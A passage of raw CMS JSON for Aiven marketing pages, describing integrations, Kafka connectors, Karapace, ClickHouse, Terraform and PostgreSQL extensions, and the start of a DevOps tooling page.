processing."}],"markDefs":[],"style":"normal"}]},{"_key":"e92243988b5e190a56889dbf92248f96","_type":"textImage","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-167313944ca1feee8e8430eccc2f67aba2f00862-1264x351-png","_type":"reference"}},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-5ea184bad37acc7cded4b43bf3508b060b08d438-540x524-png","_type":"reference"}},"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/integrations/datadog","title":"See docs"},"rounded":true,"text":[{"_key":"92b87b5dac0b","_type":"block","children":[{"_key":"089a80e380390","_type":"span","marks":[],"text":"Add Aiven services to your Datadog dashboard to keep an all-seeing eye on your whole cloud estate in one place. Depending on what you need, you can add custom tags to specific services or resources to filter them later."}],"markDefs":[],"style":"normal"},{"_key":"eca9c75215e4","_type":"block","children":[{"_key":"6b116929cda90","_type":"span","marks":["13adb025f876"],"text":"Watch a video on how to integrate your Aiven services with Datadog"}],"markDefs":[{"_key":"13adb025f876","_type":"link","href":"https://www.youtube.com/watch?v=1-wRLhqEoqU"}],"style":"normal"}],"title":"Send logs and metrics to Datadog","variant":"mediaRight"},{"_key":"41a312bf2136","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"id":"kafka-connectors","items":[{"_key":"327f69408f2d","_type":"cardItem","borderTopColor":{"_ref":"21e657b8-5980-4a85-87f8-595301495bef","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-27995708e6bffa0de4a88052aaa889f48495c396-58x58-svg","_type":"reference"}},"title":"Debezium source connector for PostgreSQL","variant":"icon-card"},{"_key":"f37be4293657","_type":"cardItem","borderTopColor":{"_ref":"0fb6f6ab-4d26-47b1-81a2-4ec6bc768323","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/kafka/kafka-connect/howto/s3-sink-connector-aiven","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-eb38710ac4196b58734ae1cca36ab78d39b7aa16-58x58-svg","_type":"reference"}},"title":"S3 sink connector","variant":"icon-card"},{"_key":"7504b21aabb3","_type":"cardItem","borderTopColor":{"_ref":"6c9703f3-6248-4f27-8400-291d66a3cc5e","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/kafka/kafka-connect/howto/gcp-bigquery-sink","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-71ab0a34ea1f6bba1f83d889e476b63ed34b61f4-48x48-svg","_type":"reference"}},"title":"BigQuery sink connector","variant":"icon-card"},{"_key":"f448f62a9db5","_type":"cardItem","borderTopColor":{"_ref":"15d1a407-85a4-498f-af4e-bcfcb2693707","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/kafka/kafka-connect/howto/opensearch-sink","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"title":"OpenSearch sink connector","variant":"icon-card"}],"rounded":false,"subtitle":[{"_key":"3432fb300620","_type":"block","children":[{"_key":"cdaf43f0e1db","_type":"span","marks":[],"text":"Extend the "},{"_key":"57eccc93581b","_type":"span","marks":["360addfed635"],"text":"Aiven for Apache Kafka®"},{"_key":"1c9b4311f00d","_type":"span","marks":[],"text":" ecosystem with open source tooling to solve your streaming integration, replication and transformation problems."}],"markDefs":[{"_key":"360addfed635","_type":"internalLink","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"}}],"style":"normal"},{"_key":"76befbf91df7","_type":"block","children":[{"_key":"cc38c5533e7e0","_type":"span","marks":[],"text":"30+ Kafka Connectors"}],"markDefs":[],"style":"h3"},{"_key":"9fbc6a02be65","_type":"block","children":[{"_key":"b2673b79012d0","_type":"span","marks":[],"text":"Connect to all your data sources with our "},{"_key":"b2673b79012d1","_type":"span","marks":["1a13816b4bcc"],"text":"Apache Kafka® connectors"},{"_key":"b2673b79012d2","_type":"span","marks":[],"text":". "}],"markDefs":[{"_key":"1a13816b4bcc","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins"}],"style":"normal"},{"_key":"05a685e0a07b","_type":"block","children":[{"_key":"7b842f469fb4","_type":"span","marks":[],"text":"Didn’t find what you were looking for? Check out the full list of "},{"_key":"cdf0fd9f65ae","_type":"span","marks":["53a203de1686"],"text":"Aiven's Apache Kafka® connectors."}],"markDefs":[{"_key":"53a203de1686","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins"}],"style":"normal"}],"title":"Expand your Apache Kafka ecosystem"},{"_key":"833e6317d4808390a9c74b5858ffd276","_type":"textImage","addSpaceBottom":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-167313944ca1feee8e8430eccc2f67aba2f00862-1264x351-png","_type":"reference"}},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-021a6f90ee428effcf3e1c8325ac90149cf45f0e-1590x1053-png","_type":"reference"}},"primaryCTA":{"_type":"link","internalLink":{"_ref":"1td7K8mcJVhl60ZTT80SIr","_type":"reference"},"title":"Read blog"},"rounded":true,"text":[{"_key":"e653d25487af","_type":"block","children":[{"_key":"ff74ebf5372c0","_type":"span","marks":[],"text":"If the connector you need is not on the list, you can always create a self-managed Apache Kafka® Connect cluster and connect it to Aiven for Apache Kafka®."}],"markDefs":[],"style":"normal"}],"title":"Use your own connector with Aiven for Apache Kafka®","variant":"mediaRight"},{"_key":"fc0053ebeaadbcd0d760a964bccbf693","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"id":"kafka-connectors","items":[{"_key":"16e2831bfa6a","_type":"cardItem","borderTopColor":{"_ref":"680fccb8-9369-4d66-b572-be171d992946","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/kafka/kafka-mirrormaker/get-started","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-4b2aa595510520d455581c85f9f96e2cba83a3cd-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"8f21b896ea24","_type":"block","children":[{"_key":"00fe18ffe5d30","_type":"span","marks":[],"text":"Replicate your data between Kafka clusters"}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Kafka® MirrorMaker 2","variant":"icon-card"},{"_key":"e4c26fe76fbee102aa95ab5d2acb31ba","_type":"cardItem","borderTopColor":{"_ref":"21e657b8-5980-4a85-87f8-595301495bef","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/kafka/howto/enable-karapace","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-d318221bd7c9549b4d2dcde4c55457d9b5c6119b-56x56-svg","_type":"reference"}},"subtitle":[{"_key":"6b0604e361aa","_type":"block","children":[{"_key":"09b921c2a3860","_type":"span","marks":[],"text":"Add schema management and REST API interface to your Apache Kafka"}],"markDefs":[],"style":"normal"}],"title":"Karapace","variant":"icon-card"},{"_key":"98b294700ba376f9c5bfa1ab3d7e22f9","_type":"cardItem","borderTopColor":{"_ref":"d880fd1e-392c-4a05-9eb1-ecbbc93753b5","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/kafka/howto/kafka-conduktor","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-a3c5d573540886a97db653a013033a354ab9996a-58x58-svg","_type":"reference"}},"subtitle":[{"_key":"34bd37d94647","_type":"block","children":[{"_key":"978b9589ebaf0","_type":"span","marks":[],"text":"Operate and visualize a Kafka cluster with a web interface"}],"markDefs":[],"style":"normal"}],"title":"Conduktor","variant":"icon-card"},{"_key":"6677c78554b5c3fb8b7936274ac77d00","_type":"cardItem","borderTopColor":{"_ref":"680fccb8-9369-4d66-b572-be171d992946","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/flink/howto/connect-kafka","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-cd6cb0b09441bc7b73a024104bc396f6db9c7e6d-104x48-svg","_type":"reference"}},"subtitle":[{"_key":"82697eb3396b","_type":"block","children":[{"_key":"4560dd58006c0","_type":"span","marks":[],"text":"Create SQL-based streaming data pipelines"}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Kafka® \u0026 Aiven for Apache Flink®","variant":"icon-card"},{"_key":"764f25bd19bd","_type":"cardItem","borderTopColor":{"_ref":"21e657b8-5980-4a85-87f8-595301495bef","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"4JR1zZoQLeuUT8AxByqegc","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","alt":"klaw-logo","asset":{"_ref":"image-6dbcbb73d0acbd7ab23f85df1850d2714d8bf28b-56x56-svg","_type":"reference"}},"subtitle":[{"_key":"b2dde41e0a89","_type":"block","children":[{"_key":"b8cbee0cab4c0","_type":"span","marks":[],"text":"An open source data governance toolkit for Apache Kafka® Topic and schema governance for enterprises "}],"markDefs":[],"style":"normal"}],"title":"Klaw","variant":"icon-card"}],"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"10f581271d2b","_type":"block","children":[{"_key":"c475b861ba5d0","_type":"span","marks":[],"text":"Tools to use with Aiven for Apache Kafka®"}],"markDefs":[],"style":"h3"},{"_key":"55b16ab49959","_type":"block","children":[{"_key":"4728ca05bf5c0","_type":"span","marks":[],"text":"Check out the full list of "},{"_key":"4728ca05bf5c1","_type":"span","marks":["08cb4b31c6a9"],"text":"Aiven for Apache Kafka® tools"},{"_key":"4728ca05bf5c2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"08cb4b31c6a9","_type":"link","href":"https://aiven.io/docs/products/kafka/howto/kafka-tools-config-file"}],"style":"normal"}]},{"_key":"d71186175f758119c3e7a7e2355852ae","_type":"textImage","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-167313944ca1feee8e8430eccc2f67aba2f00862-1264x351-png","_type":"reference"}},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-4039546f54e4ce9c686fbfd2f8c014866016a09e-1157x227-png","_type":"reference"}},"primaryCTA":{"_type":"link","externalUrl":"https://github.com/aiven/karapace","title":"View in Github"},"rounded":true,"text":[{"_key":"4ac37c426fa8","_type":"block","children":[{"_key":"8bed8be2c0210","_type":"span","marks":["f449da2e8882"],"text":"Karapace"},{"_key":"8bed8be2c0211","_type":"span","marks":[],"text":" is an open source implementation of Kafka REST and Schema Registry. Karapace enables you to produce and consume messages, and manage your Kafka cluster via REST APIs. With Karapace Schema registry, you can create, manage and evolve message schemas."}],"markDefs":[{"_key":"f449da2e8882","_type":"link","href":"https://karapace.io/"}],"style":"normal"}],"title":"Karapace","variant":"mediaRight"},{"_key":"c941b754e398ed8a1e757fd7fd188886","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"id":"clickhouse","items":[{"_key":"4f999fc84727fa74044d50c834d636b0","_type":"cardItem","borderTopColor":{"_ref":"680fccb8-9369-4d66-b572-be171d992946","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/clickhouse/howto/integrate-kafka","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-184cb33e057478405636d30b72f56c94f88ca103-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"86ce57058dc9","_type":"block","children":[{"_key":"563ab1401f360","_type":"span","marks":[],"text":"Connect your Apache Kafka cluster with ClickHouse’s performant data warehouse to consume streams of events in real time, store them durably, and run fast analytical queries on large datasets. Alternatively, you can produce data from ClickHouse to Apache Kafka at need."}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Kafka®","variant":"icon-card"},{"_key":"d08d94f6761af9e39d32e7525437c809","_type":"cardItem","borderTopColor":{"_ref":"6c9703f3-6248-4f27-8400-291d66a3cc5e","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/postgresql/get-started","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"cd302f6b06c0","_type":"block","children":[{"_key":"f998e3072d4b0","_type":"span","marks":[],"text":"Connect your Aiven for ClickHouse service with a PostgreSQL database to handle large volumes of data, process analytical queries faster, and collect data reports from ClickHouse to PostgreSQL."}],"markDefs":[],"style":"normal"}],"title":"PostgreSQL®","variant":"icon-card"},{"_key":"c99c9c5de51d0e385d5fd64db2dc077e","_type":"cardItem","borderTopColor":{"_ref":"2ff15be3-e6a8-475d-a0b0-a4a5f0753b39","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/clickhouse/howto/connect-to-grafana","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"768896716e9b","_type":"block","children":[{"_key":"11aa644218fb0","_type":"span","marks":[],"text":"Visualize and explore your ClickHouse data with Grafana."}],"markDefs":[],"style":"normal"}],"title":"Use ClickHouse with Grafana","variant":"icon-card"}],"rounded":false,"subtitle":[{"_key":"3432fb300620","_type":"block","children":[{"_key":"eb078f0ea463","_type":"span","marks":[],"text":"Make the most of your data solutions by extending them with Aiven for ClickHouse® for fast analytics and effective, efficient storage."}],"markDefs":[],"style":"normal"}],"title":"Expand your ClickHouse® ecosystem"},{"_key":"dc223a6694c9645b54f9ab09ce3a2826","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"id":"flink","items":[{"_key":"4f999fc84727fa74044d50c834d636b0","_type":"cardItem","borderTopColor":{"_ref":"680fccb8-9369-4d66-b572-be171d992946","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/clickhouse/howto/integrate-kafka","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-184cb33e057478405636d30b72f56c94f88ca103-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"86ce57058dc9","_type":"block","children":[{"_key":"563ab1401f360","_type":"span","marks":[],"text":"Connect your Apache Kafka cluster with ClickHouse’s performant data warehouse to consume streams of events in real time, store them durably, and run fast analytical queries on large datasets. Alternatively, you can produce data from ClickHouse to Apache Kafka at need."}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Kafka®","variant":"icon-card"},{"_key":"d08d94f6761af9e39d32e7525437c809","_type":"cardItem","borderTopColor":{"_ref":"6c9703f3-6248-4f27-8400-291d66a3cc5e","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/postgresql/get-started","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"cd302f6b06c0","_type":"block","children":[{"_key":"f998e3072d4b0","_type":"span","marks":[],"text":"Connect your Aiven for ClickHouse service with a PostgreSQL database to handle large volumes of data, process analytical queries faster, and collect data reports from ClickHouse to PostgreSQL."}],"markDefs":[],"style":"normal"}],"title":"PostgreSQL®","variant":"icon-card"},{"_key":"c99c9c5de51d0e385d5fd64db2dc077e","_type":"cardItem","borderTopColor":{"_ref":"2ff15be3-e6a8-475d-a0b0-a4a5f0753b39","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/clickhouse/howto/connect-to-grafana","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"768896716e9b","_type":"block","children":[{"_key":"11aa644218fb0","_type":"span","marks":[],"text":"Visualize and explore your ClickHouse data with Grafana."}],"markDefs":[],"style":"normal"}],"title":"Use ClickHouse with Grafana","variant":"icon-card"}],"rounded":false,"subtitle":[{"_key":"3432fb300620","_type":"block","children":[{"_key":"eb078f0ea463","_type":"span","marks":[],"text":"Make the most of your data solutions by extending them with Aiven for Apache Flink® for fast analytics and effective, efficient storage."}],"markDefs":[],"style":"normal"}],"title":"Expand your Apache Flink® ecosystem"},{"_key":"531daac234d60b534618be19748e2fdf","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"id":"devops","items":[{"_key":"ecc8161eb7ea","_type":"cardItem","borderTopColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://console.aiven.io/","title":"Go to Aiven Console"},"image":{"_type":"mainImage","asset":{"_ref":"image-20b68bd321b470ed73d4bcf78d494a0db7dd7d08-48x48-svg","_type":"reference"}},"title":"Aiven Console","variant":"icon-card"},{"_key":"234935db6266e4b1ecac95dd43abe821","_type":"cardItem","borderTopColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/tools/cli","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e8a2350bcf84ecb711be4b33b72d1dcf5272fb8-48x48-svg","_type":"reference"}},"title":"Aiven CLI","variant":"icon-card"},{"_key":"13d1a0a5845d72517b949728100635a2","_type":"cardItem","borderTopColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/tools/api","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-6ecd33d3211670069519e978eec3e5d284a33877-48x48-svg","_type":"reference"}},"title":"Aiven REST API","variant":"icon-card"},{"_key":"4f999fc84727fa74044d50c834d636b0","_type":"cardItem","borderTopColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/tools/terraform","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-525dd6662e1da8aeeccdb5644dc13b50ba82f402-48x48-svg","_type":"reference"}},"title":"Aiven Provider for Terraform","variant":"icon-card"},{"_key":"b42da4f2bf272525d927bb6335e274e7","_type":"cardItem","borderTopColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/tools/kubernetes","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-0f2e772df390ddcf99166e82de67909793dc48a6-48x48-svg","_type":"reference"}},"title":"Aiven Operator for Kubernetes","variant":"icon-card"}],"rounded":false,"subtitle":[{"_key":"3432fb300620","_type":"block","children":[{"_key":"b8f03e25392d0","_type":"span","marks":[],"text":"Manage your infrastructure and deploy how you want with our "},{"_key":"b8f03e25392d1","_type":"span","marks":["1ee012ff6902"],"text":"powerful tools"},{"_key":"b8f03e25392d2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"1ee012ff6902","_type":"link","href":"https://aiven.io/docs/tools"}],"style":"normal"}],"title":"Choose your orchestration tool"},{"_key":"dd6866b3ca44fab6ac1730d0b8bc5eeb","_type":"textImage","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-167313944ca1feee8e8430eccc2f67aba2f00862-1264x351-png","_type":"reference"}},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-b66a21d26808683c644e396809447fddd2bc8384-515x113-svg","_type":"reference"}},"narrowImage":true,"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/tools/terraform","title":"See docs"},"rounded":true,"secondaryCTA":{"_type":"link","externalUrl":"https://registry.terraform.io/providers/aiven/aiven/latest/docs","title":"Visit Terraform Registry"},"tertiaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/tools/terraform/reference/cookbook.html","title":"Aiven Terraform Cookbook"},"text":[{"_key":"15977fe54136","_type":"block","children":[{"_key":"61be0c01baa30","_type":"span","marks":[],"text":"Aiven’s Terraform provider enables you to seamlessly integrate your Aiven services into your existing workflows."}],"markDefs":[],"style":"normal"}],"title":"Terraform","variant":"mediaRight"},{"_key":"eeee74cbd5b3","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"id":"postgresql","items":[{"_key":"2aed8c1952df","_type":"cardItem","borderTopColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://github.com/timescale/timescaledb","title":"See docs"},"subtitle":[{"_key":"fba0add00803","_type":"block","children":[{"_key":"fea91cecb5e10","_type":"span","marks":[],"text":"Optimize your existing relational database for time series data, with dedicated time series functions, such as create_hypertable, histogram, and time_bucket"}],"markDefs":[],"style":"normal"}],"title":"TimescaleDB","variant":"icon-card"},{"_key":"81737c620a358cb4542bc76c365c5b8c","_type":"cardItem","borderTopColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://postgis.net/","title":"See docs"},"subtitle":[{"_key":"fba0add00803","_type":"block","children":[{"_key":"fea91cecb5e10","_type":"span","marks":[],"text":"PostGIS geometry and geography spatial types and functions"}],"markDefs":[],"style":"normal"}],"title":"PostGIS","variant":"icon-card"},{"_key":"3416ede09c08970959d0f5d5a4b86690","_type":"cardItem","borderTopColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://www.postgresql.org/docs/current/plpgsql.html","title":"See docs"},"subtitle":[{"_key":"fba0add00803","_type":"block","children":[{"_key":"fea91cecb5e10","_type":"span","marks":[],"text":"Add the PL/pgSQL procedural language to your PostgreSQL"}],"markDefs":[],"style":"normal"}],"title":"PL/pgSQL","variant":"icon-card"},{"_key":"074d91e3ea785eac0a68bb6bb5d5e5a3","_type":"cardItem","borderTopColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://www.postgresql.org/docs/current/pgstatstatements.html","title":"See docs"},"subtitle":[{"_key":"fba0add00803","_type":"block","children":[{"_key":"fea91cecb5e10","_type":"span","marks":[],"text":"Track planning and execution statistics of all SQL statements executed"}],"markDefs":[],"style":"normal"}],"title":"Pg_stat_statements","variant":"icon-card"}],"rounded":false,"subtitle":[{"_key":"9914b25eac85","_type":"block","children":[{"_key":"64ce5d7999100","_type":"span","marks":[],"text":"Aiven’s fully managed service makes PostgreSQL® even more powerful by giving you access to a range of "},{"_key":"64ce5d7999101","_type":"span","marks":["1c2678b152af"],"text":"70+ extensions"},{"_key":"64ce5d7999102","_type":"span","marks":[],"text":" that can enhance your processes and add an extra feature set to your service."}],"markDefs":[{"_key":"1c2678b152af","_type":"link","href":"https://aiven.io/docs/products/postgresql/reference/list-of-extensions"}],"style":"normal"}],"title":"70 + PostgreSQL® extensions"},{"_key":"5e8703fb0cea","_type":"textColumn","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":false,"rounded":true,"subtitle":[{"_key":"5b04ed92db01","_type":"block","children":[{"_key":"ca230cf114080","_type":"span","marks":[],"text":"Afraid to lose your DBA’s superpowers?"}],"markDefs":[],"style":"h4"},{"_key":"a3ad0b816dcb","_type":"block","children":[{"_key":"b63dfcf353900","_type":"span","marks":[],"text":"We offer "},{"_key":"b63dfcf353901","_type":"span","marks":["3c5d986b8efb"],"text":"aiven_extras"},{"_key":"b63dfcf353902","_type":"span","marks":[],"text":", an extension developed and maintained by Aiven, enabling the database administrator to perform superuser-like functionalities."}],"markDefs":[{"_key":"3c5d986b8efb","_type":"link","href":"https://aiven.io/docs/products/postgresql/concepts/dba-tasks-pg"}],"style":"normal"}],"variant":"oneColumn"}],"seo":{"_type":"metaData","metaDescription":"Deploy your services with CLI, Terraform or Kubernetes. Source data with Kafka connectors. Monitor with external tools such as Datadog or Prometheus.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-c93ab953daa6132857612e0b4b89c79f683a84ab-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven Integrations and Connectors | Aiven"},"slug":{"_type":"slug","current":"/integrations-and-connectors"},"title":"Aiven integrations and connectors"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"ca729b10-22a0-4d28-8492-c0b69e88b2ce__i18n_ja","_type":"reference"}],"_createdAt":"2022-09-02T16:47:28Z","_id":"ca729b10-22a0-4d28-8492-c0b69e88b2ce","_rev":"jvX45fVrMTONcXvY1qwArW","_type":"page","_updatedAt":"2024-10-10T12:50:46Z","content":[{"_key":"8c961168fcf7","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-969b12a17559eb6aa8c610616effe3a9c60a096e-2880x1130-jpg","_type":"reference"}},"backgroundPosition":"center center","backgroundSize":"cover","darkTheme":true,"description":[{"_key":"0985cde234f8","_type":"block","children":[{"_key":"1172a79d95ac0","_type":"span","marks":[],"text":"Operate your data infrastructure with the GUI for clarity, the CLI for efficiency, or Terraform or Kubernetes for automation."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"imageSize":"large","primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"roundedCorners":"rounded-b","title":"DevOps Tooling","variant":"compact"},{"_key":"de7d35666f13d54c9c0ca3a719ca5b21","_type":"textImage","addSpaceTop":true,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-88b2848ed2d49660e7a2b377d802062d5a6889ed-2667x1500-png","_type":"reference"}},"narrowImage":true,"rounded":false,"text":[{"_key":"c70cdc84c86f","_type":"block","children":[{"_key":"0bd5fa5cae130","_type":"span","marks":[],"text":"A powerful graphical interface for creating and monitoring new projects and services - and managing their configurations and backups. It supports service scaling, the managing of integrated data pipelines, cloud and region migration, database forking and more."}],"markDefs":[],"style":"normal"}],"title":"Aiven Console","variant":"mediaLeft"},{"_key":"198bc80e3c29","_type":"textImage","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-d2f990b3a1241ac5f93804ade186f3ba7a075181-800x800-png","_type":"reference"}},"narrowImage":true,"rounded":true,"secondaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/tools/terraform.html","title":"Aiven Terraform Provider"},"tertiaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/tools/terraform/reference/cookbook.html","title":"Aiven Terraform Cookbook"},"text":[{"_key":"57b7f5051ab7","_type":"block","children":[{"_key":"b4dfc5c5bcd40","_type":"span","marks":[],"text":"Build, configure and manage Aiven services using the Terraform open-source software tool. Ideal for coordinating large, complex infrastructure and connecting pieces of your infrastructure in a reproducible, semi-automated way."}],"markDefs":[],"style":"normal"}],"title":"Terraform","variant":"mediaRight"},{"_key":"195441ba4ac8","_type":"textImage","addSpaceBottom":true,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-fa28485127966bef009785a430c697a195c9612f-800x800-png","_type":"reference"}},"narrowImage":true,"rounded":true,"tertiaryCTA":{"_type":"link","externalUrl":"https://github.com/aiven/aiven-client","title":"Aiven CLI"},"text":[{"_key":"af2b71591c65","_type":"block","children":[{"_key":"aba5c0f6f9320","_type":"span","marks":[],"text":"The go-to choice for efficiency and simple automation with scripts. Supports the same functionalities as the Aiven Console."}],"markDefs":[],"style":"normal"}],"title":"Aiven CLI (command line interface)","variant":"mediaLeft"},{"_key":"d6749a7a06815b10e9e2f77e423131b7","_type":"textImage","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-781772504113fc674d358b2d1eb2d50073ee1017-800x800-webp","_type":"reference"}},"narrowImage":true,"rounded":true,"tertiaryCTA":{"_type":"link","externalUrl":"https://github.com/aiven/aiven-operator","title":"Aiven Operator for Kubernetes"},"text":[{"_key":"66343f461c75","_type":"block","children":[{"_key":"e58c79feeaa80","_type":"span","marks":[],"text":"Deploy and operate Aiven services with your existing Kubernetes orchestration platform with the Aiven Operator for Kubernetes®. Great for automating the management of your platform and applications together. Available for Aiven for Apache Kafka® and Aiven for 